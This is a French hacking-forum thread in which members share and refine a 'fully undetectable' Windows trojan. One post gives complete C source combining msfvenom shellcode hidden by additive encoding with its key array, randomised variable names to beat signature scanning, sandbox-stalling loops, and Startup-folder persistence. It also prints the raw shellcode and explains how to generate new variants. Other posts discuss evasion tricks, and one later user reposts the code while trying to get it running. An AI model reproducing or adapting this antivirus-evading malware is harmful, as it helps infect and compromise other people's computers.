Auteur Sujet: Proposition explication payload FUD  (Lu 13297 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne HomardBoy

  • Nouvel inscrit
  • Messages: 8
  • +1/-0
Re : Proposition explication payload FUD
« Réponse #15 le: 10 août 2017 à 21:05:40 »
Dsl du double post,
J'ai passé une partie de ma journée à essayer de faire un truc similaire en C, mais je n'arrive vraiment pas au 100% FUD ( https://nodistribute.com/result/SnOdZfDFNxzHXar7kGmi1Pjpv8 ).
J'ai donc un payload auto-chiffré, capable d'évader les sandbox : des allocation mémoires de fous, des boucles qui timeout la sandbox, et des tentatives de connexions vers l'extérieur ( à la wannacry  xD ).
La vrais charge utile à été modifiée à la main pour bypass la détection par signature, j'ai évité les ports à la con (443/444/etc...) et modifié toutes les variables ...

Mais toujours impossible d'avoir un fichier 100% FUD ...

Je vais me tourner vers du bf_xor ou du shikata ga nai, mais je doute que cela fonctionne vraiment ...

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Proposition explication payload FUD
« Réponse #16 le: 10 août 2017 à 21:07:43 »
Ce soir j'ai un petit soucis (mon appart a failli cramer  ;D )mais demain je te fais l'explication promis  :P

Hors ligne HomardBoy

  • Nouvel inscrit
  • Messages: 8
  • +1/-0
Re : Proposition explication payload FUD
« Réponse #17 le: 11 août 2017 à 13:26:00 »
Pas de soucis, te prend pas la tête  ;D
Je t'enverrai aussi en MP ce que j'ai fais, il y aura certainement des fonctions C pour bypass les sandbox qui te seront utiles  ;)

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Proposition explication payload FUD
« Réponse #18 le: 13 août 2017 à 12:23:56 »
Je me permet de réutiliser le MP que j'avais fait à JD. Si vous voulez le code pour voir (ce qui ne sera pas nécéssaire je pense vu la simplicité profonde de ma méthode), je vous l'envoie en MP mais en version "qui marche pas" par sécurité tout de même (J'ai enelvé quelques instructions qui vont provoquer des seg fault).
Si vous voulez avoir le code juste pour par exemple reprendre le code de base et rajouter des choses (techniques d'évasion de sandbox, modules de persistence plus poussé, ..) je ne suis à priori pas contre que mon code soit repris comme base mais il faudra logiquement m'expliquer plus précisément votre projet  :D

Bon, voila le fameux MP :

------------------------------------------------------------------------------

Si il y a une chose à retenir, c'est ceci : BORDEL MAIS QUE C'EST CON. C'est à dire que souvent, lorsqu'on fait des recherches sur les FUD, on arrive avec des machins incompréhensibles de cryptage et autres.. Ici ma démarche a été étonnement simple par rapport au résultat. Un code qui sort du programme ressemble à cela :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

char lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit[300];
char qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs[500]="copy \"";
char qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt[100];
char wcbwtrsjgatigreosnaicinunfuonuigwdwsurvuslgsgkebavecglqoqowblhbfebrbsqvheeueosajqelrpwcdn[2]="ii";char wudvliggiprgvfvuhbecwwewrewgfmfvectpedwgmkmkpfhqalsafqqwupwtwvrdroswllwavmlnrmalbsfafvwco[100]="\"C:\\Users\\%username%\\";
char rgjalalbrwtnftmdmplvhswrwamfmsqaccahtlioevvjlkhatmpvcojbjwavrqvntpvjdarhqpleumwkboiugswpl[500]="@echo \"C:\\Users\\%username%\\blublub.exe\" > \"C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\beta.bat\"";
int espnaokmnvieafemvnavuaitnikmlvlplealmksccuadcfjsmkqkksarulgijrsupsdewvacsbwoaijmmtwwirqff=0;int tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje=0;
int wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv=0;
int iffntrjwvenkoqlbhpvrsuldopweucrgbqnpkwojuenlpbgwlergbwjkiciavcaamnjrnrueqkqigqhlvsrqluuuwf[105148];
unsigned char buf[] =
"\xbd\x88\xcd\x8f\x09\xde\xc3\xda\x78\x28\xf8\x5f\x2c\xca\xb3\x5d\x39\x5f\x18\x84\xef\xff\x05\xdf\xc6\x6a\xf8\x3c\x03\xd9\x88\x39\x79\x50\xad\x37\x5c\x66\x16\x93\x6c\x39\xff\xd7\x2f\x2f\x7f\xd9\xae\x4e\xc7\xc0\xde\x70\x58\x48\xf9\x55\x3f\xd0\x89\x1c\x3d\x69\x19\xb6\x86\x85\x18\xf7\x8e\x85\xde\x6d\xb4\xe9\xa8\xcc\xff\xd7\xa5\x88\x87\xa6\x6e\x48\x65\xea\x45\xb5\x5c\x0f\x57\xf6\x5e\x55\x49\xa7\x0f\x4a\xea\xb6\xf9\x5c\xd9\x19\x1e\xfd\xfa\xcf\xe9\xcd\x2a\x96\x78\x68\x49\x97\x59\xef\xf9\x9f\xaa\xf9\x80\xaf\x67\x3f\xf9\xff\x97\x46\x7a\x7f\xf9\xee\x0a\x09\xae\xe1\x88\x09\x6f\x96\x48\xfe\xad\x69\xa8\x9e\x0d\xc2\xb6\xa5\x69\x6f\xf7\x05\x67\x29\x2e\x1d\xc9\xf8\x9f\x29\xe7\x6f\xdf\x5a\xf9\x8d\x19\xfe\x79\xce\xf9\xc8\x1a\x08\xb9\x40\xe8\xf9\xdd\xef\x6f\x1c\x5f\xfe\xa9\x6c\xd7\xc9\xa9\xe9\x33\x97\xb5\x4f\x89\xd9\xf8\x48\x08\x25\x3b\x60\x3e\x1f\xe6\x99\xf9\x98\x6f\x68\x99\xb9\x7c\x8c\x0e\xb7\x77\x43\x7e\xdf\x85\xcf\x32\x7f\x9f\xac\x69\xe3\xaa\x19\x46\x0d\x48\xad\xee\x4c\xea\x60\x67\x99\x8f\x1e\x19\x59\xd7\x98\x56\x88\xe0\x8a\x04\x78\x7e\xc4\xd9\xd6\xbc\x4e\x09\xa0\xff\x36\xa7\x5e\x49\x59\xaf\x97\x1e\x40\x38\x5e\x54\x66\x5e\x6e\xcd\xc8\x56\x2c\x1a\x98\xf7\xb5\xb9\xc7\xb8\x29\xa6\x98\x28\xe7\x0f\x05\xd0\x68\x33\x38\x8d\x80\x69\x8e\x1f\x8d\xbc\xa8\x78\xd4\xe9\x80\x29\x19\xde\x52\x68\x7e\x48\x57\x58\xca\x18\x69\x7a\x7f\xf0\x3a\x6f\x35\x7a\xb8\x40\xf0\x09\x08\xa2\x5b\xf8\xd8\x12\x79\xd7\x88\xef\xb0\xd0\x86\x87\x98\x7e\x37\xff\x09\x28\x37\xc9\xe9\x85\x47\xd8\x6c\xe3\x58\x0f\x36\x3d\x67\xf0\xaf\x7f\x66\x25\x56\x38\x44\xb6\xdf\x6f\xf9\x20\xef\xdf";

int gsqqsrppfbpnqwpfiiqqbcwsqvjpvrgvgqoskakjbtrrmdrpmkihmhcfwfooqonahvmmwrvanpmdtamckujrvfquk[]={2,5,3,4,7,4,1,1,4,4,4,1,1,1,2,2,8,1,6,1,1,3,2,2,2,1,1,1,1,4,4,8,1,1,1,6,1,2,2,1,2,4,2,2,1,1,2,2,3,1,4,1,3,1,2,1,7,4,1,1,4,2,1,3,4,1,1,4,2,6,2,1,1,1,3,1,1,2,3,4,5,4,4,3,3,3,1,1,1,5,1,1,4,4,4,1,3,5,1,1,1,4,5,1,3,1,3,2,1,2,1,2,1,6,5,8,8,1,2,1,7,1,1,6,1,1,4,1,1,1,4,2,1,1,7,1,1,8,2,1,6,1,1,2,6,1,3,4,1,4,2,2,6,4,1,1,3,2,1,5,4,1,9,2,2,8,4,3,1,1,1,2,1,1,1,3,1,1,1,1,9,1,4,1,3,2,1,1,4,1,8,2,1,6,1,4,2,1,1,1,2,2,5,1,1,5,1,1,1,3,3,1,1,7,4,3,3,2,1,1,1,5,4,3,1,1,4,2,1,3,1,1,1,1,1,2,4,3,1,2,1,1,1,1,3,4,4,3,5,6,5,1,6,1,1,1,2,7,1,1,3,5,2,2,1,1,1,1,4,3,2,9,1,5,1,1,3,4,1,4,2,3,1,3,6,2,1,2,2,3,1,3,2,9,5,2,5,1,3,3,1,5,3,6,1,1,9,2,5,1,1,2,4,1,2,1,8,1,4,2,2,1,1,1,2,1,4,1,1,5,1,1,1,4,1,6,1,1,1,1,1,1,7,4,2,1,1,2,2,1,1,5,1,3,2,3,2,7,2,1,3,4,2,7,1,2,3,3,1,4,3,4,1,3,1,2,4,4,4,4,1,2,4,9,1,5,1};
int lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf;
int abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl=0;
int (*ret)() = (int(*)())buf;



int main(int argc,char *argv[])
{
 //HWND hwnd=GetForegroundWindow (); //ShowWindow (hwnd,SW_HIDE);
printf("1 ");lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf=strlen(buf);
printf("1 ");strcpy(lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit,argv[0]);
strcat(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs,lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit);
strcat(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs,"\" \"C:\\Users\\%username%\"");
strcpy(qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt,"blublu.exe");
strcat(wudvliggiprgvfvuhbecwwewrewgfmfvectpedwgmkmkpfhqalsafqqwupwtwvrdroswllwavmlnrmalbsfafvwco,qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt);
system(qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs);
system(rgjalalbrwtnftmdmplvhswrwamfmsqaccahtlioevvjlkhatmpvcojbjwavrqvntpvjdarhqpleumwkboiugswpl);
printf("1 ");if(strstr(argv[0],"blubl"))
{
lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf=strlen(buf);while (wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv<98000)
{
iffntrjwvenkoqlbhpvrsuldopweucrgbqnpkwojuenlpbgwlergbwjkiciavcaamnjrnrueqkqigqhlvsrqluuuwf[wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv]=6;
wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv++;

tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje++;
}
if(tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje>9000)
{
while(abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl<lklvqilqunvrwjpecgoemlpbjqsnafrfkfddioofemrupjbrkjqqpcrbshimmcrqbpojafjwldtdgpoqsbjkdvfpf)
{
buf[abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl]-=gsqqsrppfbpnqwpfiiqqbcwsqvjpvrgvgqoskakjbtrrmdrpmkihmhcfwfooqonahvmmwrvanpmdtamckujrvfquk[abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl];
abgdvdkhructbnwwmpednpmgoaokjrfjmfhkilldioqdvjcksanjqdphubmgmrkbrlgcwrfbcpfrcbfucmgsjqtbl++;
}
ret();
}
}
}

La première chose que j'ai faites, c'est que dès que je devais insérer une variable dans le code du trojan, au lieu de mettre ca :

int variable=0;
je crée un nom aléatoire entre 90 et 100 lettres pour chaque nouvelle variable que je déclare comme ceci :

int aliozefjsmeklfnzermrfljefklhsefmlserhgmjlserlfrfjkhserfkuefrforefjrmkfrhfkermlsksdmlcjhs = 0;
Note : Je relis et je trouve ca à moitié clair. Je sais que ca fait très "inception" mais mon programme génère un fichier .c qui contient le code du trojan en C directement compilable. si je veux utiliser une variable je procède simplement comme suit :

char contenantdemavariable[100] = fonctionquigénère100lettresaléatoire();
et lorsque je dois utiliser cette variable dans le code final pour faire disons une addition alors il suffit de faire ceci :

fprintf(fichier, "%s += %s" , contenantdemavariable, autrevariable);
[/i]

Le but étant tout simplement de créer un nombre inimaginable de signature possible rendant impossible la détection par signature du trojan. Il suffit de stocker chaque nom de variable du trojan dans une chaine qui est inséreré dans le code final à chaque fois que l'on a besoin de cette variable. Ultra simple.

A ce moment ci, la structure du programme vaut simplement : je place un shellcode, je l'exécute, toutes les variables sont moches. Maintenant en ce qui concerne le shellcode, au début je le déclarais normalement sans rien y toucher. Ensuite j'ai eu l'idée de le changer aléatoirement.
Je crée donc un shellcode avec msfvenom :

unsigned char buf[] =
"\xbb\x83\xca\x8b\x02\xda\xc2\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x5b\x31\x5e\x12\x83\xee\xfc\x03\xdd\xc4\x69\xf7\x3b\x02\xd5"
"\x84\x31\x78\x4f\xac\x31\x5b\x64\x14\x92\x6a\x35\xfd\xd5\x2e"
"\x2e\x7d\xd7\xab\x4d\xc3\xbf\xdb\x6f\x56\x47\xf2\x51\x3e\xcf"
"\x85\x1a\x3c\x66\x15\xb5\x85\x81\x16\xf1\x8c\x84\xdd\x6c\xb1"
"\xe8\xa7\xca\xfc\xd3\xa0\x84\x83\xa3\x6b\x45\x64\xe9\x44\xb0"
"\x5b\x0e\x53\xf2\x5a\x54\x46\xa2\x0e\x49\xe9\xb2\xf4\x5b\xd6"
"\x18\x1b\xfb\xf9\xcd\xe8\xcb\x29\x90\x73\x60\x41\x96\x57\xee"
"\xf2\x9e\xa9\xf3\x7f\xae\x63\x3e\xf8\xfe\x93\x44\x79\x7e\xf2"
"\xed\x09\x01\xac\xe0\x82\x08\x6e\x94\x42\xfd\xaa\x65\xa7\x9a"
"\x0b\xc0\xb0\xa1\x68\x6e\xf4\x03\x66\x24\x2a\x1c\xc0\xf6\x9d"
"\x21\xe3\x6c\xde\x59\xf8\x8b\x18\xfd\x78\xcb\xf8\xc7\x19\x07"
"\xb0\x3f\xe4\xf8\xda\xed\x6e\x1b\x5b\xfd\xa1\x6a\xd6\xc3\xa8"
"\xe5\x31\x96\xb4\x4e\x87\xd7\xf3\x47\x07\x20\x3a\x5f\x3d\x1c"
"\xe3\x98\xf8\x91\x6b\x65\x96\xb7\x7b\x8b\x0d\xb2\x73\x40\x7d"
"\xde\x81\xcd\x31\x7c\x9e\xab\x68\xe2\xa9\x17\x42\x0a\x47\xab"
"\xed\x4b\xe9\x5f\x64\x95\x8b\x1b\x14\x53\xd2\x97\x50\x87\xdf"
"\x89\x02\x71\x7d\xc3\xd6\xd1\xba\x4c\x08\x9f\xfe\x35\xa3\x5b"
"\x47\x50\xae\x92\x1d\x3f\x35\x5a\x53\x62\x5c\x6b\xcc\xc5\x50"
"\x2a\x19\x96\xf5\xb2\xb8\xc4\xb6\x20\xa1\x96\x23\xe6\x0c\x02"
"\xcf\x63\x30\x32\x8c\x7f\x60\x8c\x1a\x8c\xbb\xa6\x74\xd3\xe7"
"\x7f\x21\x18\xda\x50\x66\x7d\x47\x56\x56\xc9\x14\x68\x79\x7a"
"\xef\x39\x6e\x31\x79\xb2\x3f\xef\x08\x07\xa1\x5a\xf1\xd4\x10"
"\x78\xd6\x86\xed\xaf\xcf\x81\x86\x95\x7c\x34\xfd\x02\x26\x36"
"\xc6\xe5\x83\x40\xd7\x6a\xe0\x55\x0e\x32\x3a\x63\xef\xac\x7e"
"\x64\x21\x52\x34\x40\xb5\xdd\x6b\xf0\x1f\xea\xde";

Ce shellcode je le met dans un fichier à part. Pour le mettre dans le fichier final, je le lis opcode par opcode. Ainsi, avant de mettre un opcode lu dans le code final, je l'additione avec une valeur aléatoire, puis je le met dans le fichier. Et cette valeur, je l'ajoute dans un tableau de int. Ce qui fait que l'on a un shellcode qui ne veut RIEN dire avec un tableau qui ne veut RIEN dire.. bref, la détection par signature ne sert absolument plus a rien puisque le shellcode devient ceci dans le code du trojan :

unsigned char buf[] =
"\xbd\x88\xcd\x8f\x09\xde\xc3\xda\x78\x28\xf8\x5f\x2c\xca\xb3\x5d\x39\x5f\x18\x84\xef\xff\x05\xdf\xc6\x6a\xf8\x3c\x03\xd9\x88\x39\x79\x50\xad\x37\x5c\x66\x16\x93\x6c\x39\xff\xd7\x2f\x2f\x7f\xd9\xae\x4e\xc7\xc0\xde\x70\x58\x48\xf9\x55\x3f\xd0\x89\x1c\x3d\x69\x19\xb6\x86\x85\x18\xf7\x8e\x85\xde\x6d\xb4\xe9\xa8\xcc\xff\xd7\xa5\x88\x87\xa6\x6e\x48\x65\xea\x45\xb5\x5c\x0f\x57\xf6\x5e\x55\x49\xa7\x0f\x4a\xea\xb6\xf9\x5c\xd9\x19\x1e\xfd\xfa\xcf\xe9\xcd\x2a\x96\x78\x68\x49\x97\x59\xef\xf9\x9f\xaa\xf9\x80\xaf\x67\x3f\xf9\xff\x97\x46\x7a\x7f\xf9\xee\x0a\x09\xae\xe1\x88\x09\x6f\x96\x48\xfe\xad\x69\xa8\x9e\x0d\xc2\xb6\xa5\x69\x6f\xf7\x05\x67\x29\x2e\x1d\xc9\xf8\x9f\x29\xe7\x6f\xdf\x5a\xf9\x8d\x19\xfe\x79\xce\xf9\xc8\x1a\x08\xb9\x40\xe8\xf9\xdd\xef\x6f\x1c\x5f\xfe\xa9\x6c\xd7\xc9\xa9\xe9\x33\x97\xb5\x4f\x89\xd9\xf8\x48\x08\x25\x3b\x60\x3e\x1f\xe6\x99\xf9\x98\x6f\x68\x99\xb9\x7c\x8c\x0e\xb7\x77\x43\x7e\xdf\x85\xcf\x32\x7f\x9f\xac\x69\xe3\xaa\x19\x46\x0d\x48\xad\xee\x4c\xea\x60\x67\x99\x8f\x1e\x19\x59\xd7\x98\x56\x88\xe0\x8a\x04\x78\x7e\xc4\xd9\xd6\xbc\x4e\x09\xa0\xff\x36\xa7\x5e\x49\x59\xaf\x97\x1e\x40\x38\x5e\x54\x66\x5e\x6e\xcd\xc8\x56\x2c\x1a\x98\xf7\xb5\xb9\xc7\xb8\x29\xa6\x98\x28\xe7\x0f\x05\xd0\x68\x33\x38\x8d\x80\x69\x8e\x1f\x8d\xbc\xa8\x78\xd4\xe9\x80\x29\x19\xde\x52\x68\x7e\x48\x57\x58\xca\x18\x69\x7a\x7f\xf0\x3a\x6f\x35\x7a\xb8\x40\xf0\x09\x08\xa2\x5b\xf8\xd8\x12\x79\xd7\x88\xef\xb0\xd0\x86\x87\x98\x7e\x37\xff\x09\x28\x37\xc9\xe9\x85\x47\xd8\x6c\xe3\x58\x0f\x36\x3d\x67\xf0\xaf\x7f\x66\x25\x56\x38\x44\xb6\xdf\x6f\xf9\x20\xef\xdf";

int gsqqsrppfbpnqwpfiiqqbcwsqvjpvrgvgqoskakjbtrrmdrpmkihmhcfwfooqonahvmmwrvanpmdtamckujrvfquk[]={2,5,3,4,7,4,1,1,4,4,4,1,1,1,2,2,8,1,6,1,1,3,2,2,2,1,1,1,1,4,4,8,1,1,1,6,1,2,2,1,2,4,2,2,1,1,2,2,3,1,4,1,3,1,2,1,7,4,1,1,4,2,1,3,4,1,1,4,2,6,2,1,1,1,3,1,1,2,3,4,5,4,4,3,3,3,1,1,1,5,1,1,4,4,4,1,3,5,1,1,1,4,5,1,3,1,3,2,1,2,1,2,1,6,5,8,8,1,2,1,7,1,1,6,1,1,4,1,1,1,4,2,1,1,7,1,1,8,2,1,6,1,1,2,6,1,3,4,1,4,2,2,6,4,1,1,3,2,1,5,4,1,9,2,2,8,4,3,1,1,1,2,1,1,1,3,1,1,1,1,9,1,4,1,3,2,1,1,4,1,8,2,1,6,1,4,2,1,1,1,2,2,5,1,1,5,1,1,1,3,3,1,1,7,4,3,3,2,1,1,1,5,4,3,1,1,4,2,1,3,1,1,1,1,1,2,4,3,1,2,1,1,1,1,3,4,4,3,5,6,5,1,6,1,1,1,2,7,1,1,3,5,2,2,1,1,1,1,4,3,2,9,1,5,1,1,3,4,1,4,2,3,1,3,6,2,1,2,2,3,1,3,2,9,5,2,5,1,3,3,1,5,3,6,1,1,9,2,5,1,1,2,4,1,2,1,8,1,4,2,2,1,1,1,2,1,4,1,1,5,1,1,1,4,1,6,1,1,1,1,1,1,7,4,2,1,1,2,2,1,1,5,1,3,2,3,2,7,2,1,3,4,2,7,1,2,3,3,1,4,3,4,1,3,1,2,4,4,4,4,1,2,4,9,1,5,1};

Avec le tableau de int qui est un peu la "clé du trojan". Observe bien que chaque opcode du payload soustrait avec le chiffre de la clé correspondant vaut bien l'opcode correct du shellcode de base.
A partir de ce moment, le principal est fait !
Il reste juste à larguer l'analyse heuristique grace aux petites techniques que j'ai déjà présenté sur l'autre topic, et après l'exécution réussie de ces techniques, je décode le shellcode en soustrayant chaque valeur une à une avec celle de la clé correspondante et il reste plus qu'à l'exécuter.

VOILA. Simple comme bonjour, et pas encore arreté par les antivirus alors que je leur ai envoyé les centaines d'échantillons demandés  ::)
J'avais prévenus que le fonctionnement est tout con  ;)

Hors ligne WarLocG

  • Contributeur de Kali-linux.fr
  • Membre sérieux
  • *****
  • Messages: 474
  • +67/-0
  • Spé Code Python Java Bash
Re : Proposition explication payload FUD
« Réponse #19 le: 13 août 2017 à 16:04:36 »
Citer
Observe bien que chaque opcode du payload soustrait avec le chiffre de la clé correspondant vaut bien l'opcode correct du shellcode de base.
Et donc, tu te sers d'une addition ou d'une soustraction, c'est même encore plus simple que de passer par un XOR ou d'une autre substitution ;)
A lire avant de poser vos questions : http://www.linux-france.org/article/these/smart-questions/smart-questions-fr.html
Pour les questions de base sous debian : https://debian-facile.org/index-df.php
Veuillez utiliser la fonction Rechercher avant de poster.

Hors ligne WK

  • Contributeur de Kali-linux.fr
  • Membre régulier
  • *****
  • Messages: 188
  • +19/-1
Re : Re : Proposition explication payload FUD
« Réponse #20 le: 13 août 2017 à 22:33:11 »
Citer
Observe bien que chaque opcode du payload soustrait avec le chiffre de la clé correspondant vaut bien l'opcode correct du shellcode de base.
Et donc, tu te sers d'une addition ou d'une soustraction, c'est même encore plus simple que de passer par un XOR ou d'une autre substitution ;)

Le XOR me semblait un peu oldschool  ;D

Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 598
  • +33/-5
Re : Re : Proposition explication payload FUD
« Réponse #21 le: 16 août 2017 à 22:54:15 »
Je me permet de réutiliser le MP que j'avais fait à JD.

Je confirme, la simplicité de ton code le rend génial :-)

Hors ligne 3amoo

  • Membre Junior
  • *
  • Messages: 12
  • +1/-0
Re : Proposition explication payload FUD
« Réponse #22 le: 23 avril 2019 à 01:20:09 »
Bonsoir,
Désolé de déterrer ce topic mais je me torture la cervelle depuis 2 jours non-stop pour essayer de faire fonctionner ton script et ensuite pourquoi pas l'améliorer mais pas moyen. Après avoir généré le shellcode et l'avoir modifié opcode par opcode à l'aide d'un petit script en python, je remplace le tien sans oublier de changer la variable dans laquelle se trouve le tableau de int pour effectuer la soustraction. Et ... Une fois le .exe compilé, la partie du code qui s'occupe d'établir la persistence fonctionne bel et bien mais mon shellcode ne s'exécute pas. J'ai cherché à bidouiller pour arranger ça mais je ne voit pas d'où vient le problème alors je viens demander de l'aide avant de câbler.
J'espère que vous êtes encore actifs héhé bonne soirée :D

Hors ligne coyotus

  • Contributeur de Kali-linux.fr
  • Membre Elite
  • *****
  • Messages: 3785
  • +263/-30
  • IN GNU WE TRUST
    • Groupe d'Utilisateurs de GNU/Linux...
Re : Re : Proposition explication payload FUD
« Réponse #23 le: 23 avril 2019 à 07:43:36 »
Bonsoir,
Désolé de déterrer ce topic mais je me torture la cervelle depuis 2 jours non-stop pour essayer de faire fonctionner ton script et ensuite pourquoi pas l'améliorer mais pas moyen. Après avoir généré le shellcode et l'avoir modifié opcode par opcode à l'aide d'un petit script en python, je remplace le tien sans oublier de changer la variable dans laquelle se trouve le tableau de int pour effectuer la soustraction. Et ... Une fois le .exe compilé, la partie du code qui s'occupe d'établir la persistence fonctionne bel et bien mais mon shellcode ne s'exécute pas. J'ai cherché à bidouiller pour arranger ça mais je ne voit pas d'où vient le problème alors je viens demander de l'aide avant de câbler.
J'espère que vous êtes encore actifs héhé bonne soirée :D
Pas de présentation ni de participation antérieure sur le forum, mais soit.
Si tu ne donne aucun détails sur ton environnement de test, il sera très difficile pour White Koala de t'aider (je pense même qu'il ne participe plus au forum d'ailleurs).
Et puis le topic à environ 2 ans des mesures on été prises sur certaines plateformes depuis pour contrer la charge active.

Hors ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2490
  • +138/-4
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Proposition explication payload FUD
« Réponse #24 le: 23 avril 2019 à 09:05:43 »
Oui clairement il nous faut plus d'info de ta part la (screen , snippets ...)
Mess  with the bests.
Die like the rest.

Hors ligne 3amoo

  • Membre Junior
  • *
  • Messages: 12
  • +1/-0
Re : Re : Re : Proposition explication payload FUD
« Réponse #25 le: 23 avril 2019 à 23:30:56 »
Bonsoir,
Désolé de déterrer ce topic mais je me torture la cervelle depuis 2 jours non-stop pour essayer de faire fonctionner ton script et ensuite pourquoi pas l'améliorer mais pas moyen. Après avoir généré le shellcode et l'avoir modifié opcode par opcode à l'aide d'un petit script en python, je remplace le tien sans oublier de changer la variable dans laquelle se trouve le tableau de int pour effectuer la soustraction. Et ... Une fois le .exe compilé, la partie du code qui s'occupe d'établir la persistence fonctionne bel et bien mais mon shellcode ne s'exécute pas. J'ai cherché à bidouiller pour arranger ça mais je ne voit pas d'où vient le problème alors je viens demander de l'aide avant de câbler.
J'espère que vous êtes encore actifs héhé bonne soirée :D
Pas de présentation ni de participation antérieure sur le forum, mais soit.
Si tu ne donne aucun détails sur ton environnement de test, il sera très difficile pour White Koala de t'aider (je pense même qu'il ne participe plus au forum d'ailleurs).
Et puis le topic à environ 2 ans des mesures on été prises sur certaines plateformes depuis pour contrer la charge active.

Oui effectivement je suis nouveau ici j'irais surement faire une présentation quand j'aurais un peu de temps.
Alors pour mon environnement de test j'utilise un VM sur win7 et un pc portable sur Win10, tous mes shellcode ont fonctionné sur les 2 jusqu'à présent, le problème ici c'est que quand j'utilise le code que WK a posté un peu plus haut; je pense que l'opcode ne se soustrait pas puisque mon shellcode ne s'exécute pas ! Le problème c'est que je maîtrise approximativement le C après beaucoup de recherche je ne comprends pas pourquoi le shellcode ne s'exécute pas.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>

char lkwmnrtpmjbatfddnpptohjdswhkvwwdjwqrkgdqjeqfdncqglgosksidtsttlwwejqiqnbcmscpcedikdrwnmhlit[300];
char qwffboiarkkpedwqlktblldmdkwgctwmsvsumuobhsqgvpqjumfibioesheoddeqsqhihvdiqtoofiscoafpinovvs[500]="copy \"";
char qndgesmgnivhhhpvvnnluivhudfprddeqglpsrpitnjevctnjdsalqicohsiepgpplblfqtchgawcnmfqigvsibjpt[100];
char wcbwtrsjgatigreosnaicinunfuonuigwdwsurvuslgsgkebavecglqoqowblhbfebrbsqvheeueosajqelrpwcdn[2]="ii";char wudvliggiprgvfvuhbecwwewrewgfmfvectpedwgmkmkpfhqalsafqqwupwtwvrdroswllwavmlnrmalbsfafvwco[100]="\"C:\\Users\\%username%\\";
char rgjalalbrwtnftmdmplvhswrwamfmsqaccahtlioevvjlkhatmpvcojbjwavrqvntpvjdarhqpleumwkboiugswpl[500]="@echo \"C:\\Users\\%username%\\blublub.exe\" > \"C:\\Users\\%username%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\beta.bat\"";
int espnaokmnvieafemvnavuaitnikmlvlplealmksccuadcfjsmkqkksarulgijrsupsdewvacsbwoaijmmtwwirqff=0;int tqnojvomiebvubbolanwiwefwbutomufwetjclpejqualvjavwwbpugiveehksmjwimtnerqvirjgddwttagqgoje=0;
int wkfddndnpofecqqwnhqnviogrwembkbauberohhaqhfsavsnwfduhmublbhhfchcdfnmhpmawrswjhgimkwtqtoevv=0;
int iffntrjwvenkoqlbhpvrsuldopweucrgbqnpkwojuenlpbgwlergbwjkiciavcaamnjrnrueqkqigqhlvsrqluuuwf[105148];
unsigned char buf[] =
